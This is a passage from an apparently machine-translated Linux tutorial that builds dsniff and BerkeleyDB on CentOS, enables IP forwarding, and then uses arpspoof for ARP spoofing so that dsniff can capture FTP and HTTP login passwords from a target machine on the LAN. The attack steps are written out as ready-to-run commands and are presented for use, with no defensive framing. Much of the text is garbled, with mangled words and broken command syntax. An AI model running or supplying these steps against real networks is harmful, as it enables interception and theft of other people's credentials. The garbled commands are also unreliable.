Vii. installation of BerkeleyDB
# wget http://download.oracle.com/berkeley-db/db-4.7.25.tar.gz
# tar ZXVF db-4.7.25.tar.gz
# CD Db-4.7.25/build_unix
# .. /dist/configure--enable-compat185

Viii. installation of Dsniff

# tar ZXVF dsniff-2.3.tar.gz
# CD dsniff-2.3
# vi Arp.c added #include "Memory.h"
#./configure--enable-compat185--with-db=/usr/local/berkeleydb.4.7
# make
# make Install

Nine, other settings

# vi/etc/sysctl.conf

Modify Net.ipv4.ip_forward = 1

# sysctl-p

X. Use of Dsniff

# Cp/usr/local/berkeleydb.4.7/lib/libdb-4.7.so/usr/lib
# Cd/usr/local/sbin;ls
#./dsniff--help

Environment:

Gateway--192.168.1.1

Passers-by and 192.168.1.123 (CentOS6.0 + dsniff-2.3)

Passers-by and 192.168.1.125 (cent0s6.0 + Apache + Mysql)

Objective:

Use passers-by to sniff the FTP, HTTP login password for Pathfinder b

1. Using Arpspoof to implement ARP spoofing attacks on target machines
# arpspoof-i Eth0-t 192.168.1.125 192.168.1.1

2. Using Dsniff to obtain data information for the specified port
# dsniff-i Eth0-t 21/tcp=ftp,80/tcp=http

The types of protocols supported by Dsniff include:
Ftp,telnet,smtp,http,pop,nntp,imap,snmp,ldap,rlogin,rip,osp
F,pptp,ms-chap,nfs,vrrp,yp/nis,socks,x11,cvs,irc,aim,icq,napster,ostgresql,meeting Maker,citrix Ica,symantec, Pcanywhere,na
I sniffer,microsoft smb,oracle ql*net,sybase and Microsoft SQL authentication information

Issues that you may encounter with the compilation are:

3 environment gametes Files libnet libpcap libnids Note the order in which you install the compilation, or you will not succeed if you encounter a compilation error cannot resolve the replacement version more try. Not necessarily the above versions

Also recommend that you adapt to another Linux sniffer tool Ettercap NG later I will update you
